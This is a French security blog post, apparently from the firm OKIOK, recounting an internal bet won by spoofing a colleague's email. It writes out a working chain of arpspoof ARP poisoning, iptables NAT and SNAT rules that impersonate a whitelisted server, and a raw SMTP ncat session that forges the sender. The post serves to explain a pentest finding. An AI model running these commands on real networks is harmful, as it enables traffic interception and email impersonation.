Aller au contenu
Retour à la recherche en sécurité

Recherche en sécurité

Hacking for Beer: usurpation d’adresse IP

Après avoir dû payer des tournées à cause de l’attaque au Rubber Ducky, je voulais ma revanche! Daniel avait participé au durcissement de notre serveur de courriel et avait manifestement redoublé d’efforts pour empêcher l’usurpation d’adresse d’expéditeur SMTP. Un contournement ferait très bien l’affaire.

J’ai d’abord voulu vérifier si je pouvais envoyer un courriel en usurpant l’adresse de l’expéditeur, à l’aide de commandes SMTP brutes.

Exemple d’attaque:

HELO servername MAIL FROM: –ADRESSE DE L’EXPÉDITEUR– RCPT TO: –ADRESSE DU DESTINATAIRE– DATA Subject: –LE SUJET– –VOTRE MESSAGE– . QUIT

Envoyer un courriel brut avec un outil de type telnet me permettrait d’usurper n’importe quelle adresse d’OKIOK depuis le réseau interne. Mais les choses ne sont pas toujours aussi simples, surtout quand le serveur est bien configuré. En effet, notre serveur oblige les utilisateurs à s’authentifier avant d’accepter le moindre message provenant d’une adresse d’OKIOK.

En fouillant la documentation interne, j’ai découvert que certains systèmes bien précis n’ont pas la capacité de s’authentifier par SMTP. Les adresses IP de ces systèmes figurent dans une liste blanche, dans la configuration du serveur de courriel lui-même. Après quelques recherches de plus et un peu d’ingénierie sociale auprès de notre équipe de soutien informatique, j’ai obtenu l’adresse IP d’un système inscrit à cette liste, sur un sous-réseau auquel je peux me connecter. Allons-y!

J’ai branché mon ordinateur sur le même sous-réseau IP (mon IP: 10.10.10.66) que le serveur en liste blanche (IP du serveur: 10.10.10.3). Depuis ce sous-réseau, je peux communiquer avec le serveur de courriel (10.250.0.10), situé sur un autre sous-réseau. Pour intercepter le trafic de mon sous-réseau local, l’empoisonnement ARP est le choix du pirate.

# Activer le transfert IP (mieux vaut ne pas alerter tous les administrateurs)
echo 1 > /proc/sys/net/ipv4/ip_forward
# Un peu de NAT
iptables -t nat -A POSTROUTING -s 10.10.10.0/24 -o eth2 -j MASQUERADE
# Place à l’empoisonnement ARP (IP de la passerelle : 10.10.10.1)
arpspoof -i eth0 -t 10.10.10.3 10.10.10.1
arpspoof -i eth0 -t 10.10.10.1 10.10.10.3

Le trafic réseau entre le serveur en liste blanche (10.10.10.3) et la passerelle (10.10.10.1) passe maintenant par mon ordinateur (10.10.10.66) avant d’être réacheminé:

Il me faut ensuite trouver le moyen d’usurper mon adresse IP tout en conservant une session TCP complète. Un peu de kung-fu iptables:

# Pour chaque paquet TCP dont le port source est 33077 et le port de destination 25, remplacer l’IP source par 10.10.10.3
iptables -t nat -I POSTROUTING -o eth0 -p tcp --sport 33077 --dport 25 -j SNAT --to 10.10.10.3

Utilisons maintenant notre outil de type telnet favori pour envoyer le courriel à l’aide de commandes SMTP:

$> ncat -C 10.250.0.10 25 -p 33077 -v Ncat: Version 6.25 ( https://nmap.org/ncat ) Ncat: Connected to 10.250.0.10:25. 220 email.okiok.com Microsoft ESMTP MAIL Service ready at Tue, 29 Jan 2013 13:33:37 -0500 HELO mailserver 250 email.okiok.com Hello [10.10.10.3] MAIL FROM: daniel@okiok.com 250 2.1.0 Sender OK RCPT TO: pentest@okiok.com 250 2.1.5 Recipient OK DATA 354 Start mail input; end with . Subject: Friday beer! Hey, I am going to pay the beer to everyone next Friday! : ) Daniel . 250 2.6.0 68eaaaaa-90aa-4daa-91aa-8929aaaaaaaa@email.okiok.com [InternalId=12345] Queued mail for delivery QUIT

Conclusion: la bière était délicieuse, le vendredi suivant!

Envoyez-nous un message

Seul votre courriel est requis. Choisissez un sujet, ajoutez une note, puis envoyez.

Incident en cours? Appelez la ligne 24/7 plutôt que d’attendre une réponse: +1 450 681-1681, poste 277